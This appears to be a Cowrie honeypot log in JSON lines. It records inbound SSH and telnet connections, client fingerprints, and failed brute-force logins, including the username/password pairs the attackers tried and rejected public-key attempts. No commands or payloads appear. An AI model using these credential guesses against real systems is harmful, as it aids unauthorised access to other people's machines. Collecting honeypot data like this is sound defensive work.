{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:d8:94:47:9a:7a:26:48:12:6f:37:9e:dd:c5:73:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkituDeZXznJjnyFqac8R3khso+EVT3dyYnMwunaUsoqi3bxfwmGAel4H9F/C1zdVMpzRdOYWvcEZltiKb3+kbFLojl3ZuYkeb2aXJLjX7BwzMOUunGngnlz33MZLsMxc8em1DbqHvSf3dqz7Pnm5nSQVV2O+Yu1v9kiOjKStDIXt41dt3spMMRePekwc+PpHI2l2wRW2eyVJzKPV634R2pUP6fcfFYD1HganNpiKbTUMOdRa5g3o0PeByg+05+3eTuF4wOrQHS+02ao25lnPJgGs4XzKXGBAhGhf+Pnlxr4npMg8XNGoQmGu025TmaBRNt1yW3NAYJYdDvFfm6crN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:d8:94:47:9a:7a:26:48:12:6f:37:9e:dd:c5:73:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.332834Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:d8:94:47:9a:7a:26:48:12:6f:37:9e:dd:c5:73:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkituDeZXznJjnyFqac8R3khso+EVT3dyYnMwunaUsoqi3bxfwmGAel4H9F/C1zdVMpzRdOYWvcEZltiKb3+kbFLojl3ZuYkeb2aXJLjX7BwzMOUunGngnlz33MZLsMxc8em1DbqHvSf3dqz7Pnm5nSQVV2O+Yu1v9kiOjKStDIXt41dt3spMMRePekwc+PpHI2l2wRW2eyVJzKPV634R2pUP6fcfFYD1HganNpiKbTUMOdRa5g3o0PeByg+05+3eTuF4wOrQHS+02ao25lnPJgGs4XzKXGBAhGhf+Pnlxr4npMg8XNGoQmGu025TmaBRNt1yW3NAYJYdDvFfm6crN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.336709Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.425040Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54134,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff73de2ca8e","protocol":"ssh","message":"New connection: 103.15.226.202:54134 (10.17.0.5:22) [session: 9ff73de2ca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:48.086750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:48.091708Z","src_ip":"103.15.226.202","session":"9ff73de2ca8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:48.341473Z","src_ip":"103.15.226.202","session":"9ff73de2ca8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"1qaz@WSX3edc$RFV","message":"login attempt [dell/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:49.086742Z","src_ip":"103.15.226.202","session":"9ff73de2ca8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:50.338386Z","src_ip":"103.15.226.202","session":"9ff73de2ca8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.43.140.149","src_port":55506,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebea05407642","protocol":"telnet","message":"New connection: 193.43.140.149:55506 (159.203.135.109:23) [session: ebea05407642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:55:51.996068Z"}
{"eventid":"cowrie.session.closed","duration":0.005035877227783203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:55:52.001000Z","src_ip":"193.43.140.149","session":"ebea05407642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39942,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66477cde4a6","protocol":"ssh","message":"New connection: 103.15.226.202:39942 (10.17.0.5:22) [session: c66477cde4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:22.145702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:22.149302Z","src_ip":"103.15.226.202","session":"c66477cde4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:22.392463Z","src_ip":"103.15.226.202","session":"c66477cde4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aptx4869","message":"login attempt [root/aptx4869] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:23.124919Z","src_ip":"103.15.226.202","session":"c66477cde4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:24.371442Z","src_ip":"103.15.226.202","session":"c66477cde4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":8477,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e6f275f40a","protocol":"ssh","message":"New connection: 193.24.211.100:8477 (159.203.135.109:22) [session: a1e6f275f40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:27.080080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:27.087630Z","src_ip":"193.24.211.100","session":"a1e6f275f40a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:27.216577Z","src_ip":"193.24.211.100","session":"a1e6f275f40a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jennifer","message":"login attempt [root/jennifer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:27.777406Z","src_ip":"193.24.211.100","session":"a1e6f275f40a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:57:28.888864Z","src_ip":"193.24.211.100","session":"a1e6f275f40a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.1","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd27bb4c7f5","protocol":"telnet","message":"New connection: 85.217.149.1:46512 (159.203.135.109:23) [session: 0bd27bb4c7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:43.712543Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:43.718523Z","src_ip":"85.217.149.1","session":"0bd27bb4c7f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:43.722703Z","src_ip":"85.217.149.1","session":"0bd27bb4c7f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:43.726707Z","src_ip":"85.217.149.1","session":"0bd27bb4c7f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03271174430847168,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:43.745132Z","src_ip":"85.217.149.1","session":"0bd27bb4c7f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef44fd54b6a3","protocol":"ssh","message":"New connection: 103.15.226.202:56158 (10.17.0.5:22) [session: ef44fd54b6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:56.151663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:56.156708Z","src_ip":"103.15.226.202","session":"ef44fd54b6a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:56.410088Z","src_ip":"103.15.226.202","session":"ef44fd54b6a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ntpsuser","password":"ntpsuser","message":"login attempt [ntpsuser/ntpsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:57.166185Z","src_ip":"103.15.226.202","session":"ef44fd54b6a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:00:58.418933Z","src_ip":"103.15.226.202","session":"ef44fd54b6a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.208.191","src_port":48020,"dst_ip":"10.17.0.5","dst_port":22,"session":"fae29915fea9","protocol":"ssh","message":"New connection: 213.202.208.191:48020 (10.17.0.5:22) [session: fae29915fea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:18.106309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:18.124594Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:18.601515Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:35:5f:20:32:31:83:59:b3:4b:ce:83:8f:46:23:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPIev75YSX+Iusr5F9UmobNDkP3D6oEi3TFe+JBebIy0joJ7mA1uaIoCIvu/hrBUgxfvPRT3xP5rAJtGlgn5BAalr5z+EgTRmY5sVgVItqPHHBHazE8Dq0jgwe70KafB09rVTl7ZKxm7MIbtefOE7hwbc/bDb6vO52fn6gQClf7s81t8pGO+5u52071foN0S0L9tAVYk9fBHjb/oq0+kWU29qsPlxW08A7IGqALFDzHGWYQBkxIbIapO7V2lpm4fR2QvNt9uzz9ewX6GE1/WUYgGl7fMXXPf0P+1Ismw159miF8khrmf5qX4WcECI8K1VTuzCaZRWxb6Fl1fxVtBGV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:35:5f:20:32:31:83:59:b3:4b:ce:83:8f:46:23:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.218932Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:35:5f:20:32:31:83:59:b3:4b:ce:83:8f:46:23:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPIev75YSX+Iusr5F9UmobNDkP3D6oEi3TFe+JBebIy0joJ7mA1uaIoCIvu/hrBUgxfvPRT3xP5rAJtGlgn5BAalr5z+EgTRmY5sVgVItqPHHBHazE8Dq0jgwe70KafB09rVTl7ZKxm7MIbtefOE7hwbc/bDb6vO52fn6gQClf7s81t8pGO+5u52071foN0S0L9tAVYk9fBHjb/oq0+kWU29qsPlxW08A7IGqALFDzHGWYQBkxIbIapO7V2lpm4fR2QvNt9uzz9ewX6GE1/WUYgGl7fMXXPf0P+1Ismw159miF8khrmf5qX4WcECI8K1VTuzCaZRWxb6Fl1fxVtBGV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.222648Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:8a:01:04:ea:bb:6f:a7:52:5e:c5:f0:6f:68:33:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRRbdjJEyHFmB2rz4aeNfDa/8sVbWgpP0/pPP1IiBFDvkLQeKRyRgHtX1eC8Um7WvAG2BDhe8NHnMtocWnuL71Ekj4SPINJXPZmvE7MYlWZT+Z3mCG6bSc6JV/ALWg+n+9eY1/re5AmlnBtZ32/y7xCshDcHJUxjojYr4jdqKm1EUWFhjex6JNorWKq3cWrYXKxp7XXZQJlW67WSIYY/io9HGKD8x5XBAy/KRsfF1Faf6b5RT1rbT2fw+wlVbKmf9z6tp0da+QndlftTe1R0xKJL1c9q7FxIGNtNxS5ld27zG8Kfsa/k4tfRZKm9PR5Sg0KQw8Xt/O2MB/c37wn7e1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:8a:01:04:ea:bb:6f:a7:52:5e:c5:f0:6f:68:33:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.421928Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:8a:01:04:ea:bb:6f:a7:52:5e:c5:f0:6f:68:33:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRRbdjJEyHFmB2rz4aeNfDa/8sVbWgpP0/pPP1IiBFDvkLQeKRyRgHtX1eC8Um7WvAG2BDhe8NHnMtocWnuL71Ekj4SPINJXPZmvE7MYlWZT+Z3mCG6bSc6JV/ALWg+n+9eY1/re5AmlnBtZ32/y7xCshDcHJUxjojYr4jdqKm1EUWFhjex6JNorWKq3cWrYXKxp7XXZQJlW67WSIYY/io9HGKD8x5XBAy/KRsfF1Faf6b5RT1rbT2fw+wlVbKmf9z6tp0da+QndlftTe1R0xKJL1c9q7FxIGNtNxS5ld27zG8Kfsa/k4tfRZKm9PR5Sg0KQw8Xt/O2MB/c37wn7e1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.426115Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:b9:a0:30:61:2a:b3:7f:c1:1e:96:58:c9:e7:c5:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcpiOmWTv+LhXFcsLXqPQDjRs+KG6PhHgIctlPYtQ15P5qWiEvOH0LObIQEOLOlKBuK93KXEoZf4ipCP1y4uuNCSbFL+C/pAW/hqPjm6OMI+aBxf2EalpihReaaFy52O6OuWdFxn+ES+q0Wm/ToKngMG7Uyv0hyz/lRS6wCP7aaT8stIMG5v2Cqh8GxopPg1+1I7K9qhUDf0ynLtwOzgS5CeiUbkbqwVOcJF7YDVRtWT1ZCA53vJWmoFRHgLc78iirMa7bq+jJ5L6ry7i8EG8/JTYHt8zymlroCZNP3wjh2ULchl0H2Y2wN4xeuIQWSoXXzKanW/wmkcgFc0DZrd/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:b9:a0:30:61:2a:b3:7f:c1:1e:96:58:c9:e7:c5:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.546299Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
